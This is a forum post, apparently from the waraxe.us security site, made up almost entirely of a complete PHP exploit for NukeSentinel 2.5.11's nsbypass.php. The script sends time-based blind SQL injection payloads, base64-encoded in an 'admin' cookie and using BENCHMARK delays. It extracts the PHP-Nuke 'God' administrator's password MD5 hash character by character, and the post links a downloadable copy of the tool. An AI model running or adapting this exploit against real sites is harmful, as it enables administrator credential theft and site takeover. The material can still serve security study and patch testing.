| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
 |
|
 |
|
Related to old waraxe-SA-53:
http://www.waraxe.us/advisory-53.html
| Code: |
<?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// NukeSentinel 2.5.11 "nsbypass.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 23. april 2008
//
// This exploit will fetch phpnuke God admin password's md5 hash
// Ref: waraxe-2007-SA#053
// http://www.waraxe.us/advisory-53.html
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://localhost/phpnuke.7.9/includes/nsbypass.php';
$outfile = './attack_log.txt';// Log file
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
//======================================================================
echo "Target: $url\n";
echo "testing probe delays \n";
$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";
$hash = get_hash();
add_line("Target: $url");
add_line("God admin password md5 hash: $hash");
echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! :) \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
$len = 32;
$out = '';
echo "finding hash now ...\n";
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i);
echo "got hash pos $i --> $ch\n";
$out .= "$ch";
echo "current value for hash: $out \n";
}
echo "\nFinal result: hash=$out\n\n";
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos)
{
global $testcnt;
$char = '';
$cnt = $testcnt * 4;
$ipattern = "' OR `name`='God' AND IF(ORD(SUBSTRING(`pwd`,$pos,1))%s,BENCHMARK($cnt,MD5('waraxe')),3)/*";
// First question: is it number or letter
$inj = sprintf($ipattern, ">57");
$b64 = urlencode(base64_encode("$inj:x"));
$cookie = "admin=$b64;";
$letter = test_condition($cookie);
if($letter)
{
$min = 97;
$max = 102;
echo "char to find is [a-f]\n";
}
else
{
$min = 48;
$max = 57;
echo "char to find is [0-9]\n";
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$inj = sprintf($ipattern, "=$max");
$b64 = urlencode(base64_encode("$inj:x"));
$cookie = "admin=$b64;";
$eq = test_condition($cookie);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$inj = sprintf($ipattern, ">$curr");
$b64 = urlencode(base64_encode("$inj:x"));
$cookie = "admin=$b64;";
$bigger = test_condition($cookie);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
echo "curr: $curr--$max--$min\n";
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($c)
{
global $url, $norm_delay;
$bret = false;
$maxtry = 10;
$try = 1;
while(1)
{
$start = getmicrotime();
$buff = make_get($url, $c, '', true);
$end = getmicrotime();
if(strpos($buff, 'Location:') !== false)
{
break;
}
else
{
echo "test_condition() - try $try - invalid return value ...\n";
$try ++;
if($try > $maxtry)
{
die("too many tries - exiting ...\n");
}
else
{
echo "trying again - try $try ...\n";
sleep(3);
}
}
}
$diff = $end - $start;
$delay = intval($diff * 10);
if($delay > ($norm_delay * 2))
{
$bret = true;
}
return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
$fa = test_md5delay(1);
echo "$fa\n";
sleep(1);
$sa = test_md5delay($testcnt);
echo "$sa\n";
sleep(1);
$fb = test_md5delay(1);
echo "$fb\n";
sleep(1);
$sb = test_md5delay($testcnt);
echo "$sb\n";
sleep(1);
$fc = test_md5delay(1);
echo "$fc\n";
sleep(1);
$sc = test_md5delay($testcnt);
echo "$sc\n";
$mean_nondelayed = intval(($fa + $fb + $fc) / 3);
echo "mean nondelayed - $mean_nondelayed dsecs\n";
$mean_delayed = intval(($sa + $sb + $sc) / 3);
echo "mean delayed - $mean_delayed dsecs\n";
return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
global $url;
$cnt = intval($cnt);
// delay in deciseconds
$delay = -1;
$aid = "' OR IF(1,BENCHMARK($cnt,md5('waraxe')),1)/*";
$b64 = base64_encode("$aid:x");
$cookie = "admin=$b64;";
$start = getmicrotime();
$buff = make_get($url, $cookie, '', true);
$end = getmicrotime();
$diff = $end - $start;
$delay = intval($diff * 10);
return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_get($url, $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
global $outfile;
$buf .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $buf);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
?>
|
Downloadable version:
http://www.waraxe.us/tools/nsaxe.zip
 |
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 57
Members: 0
Total: 57
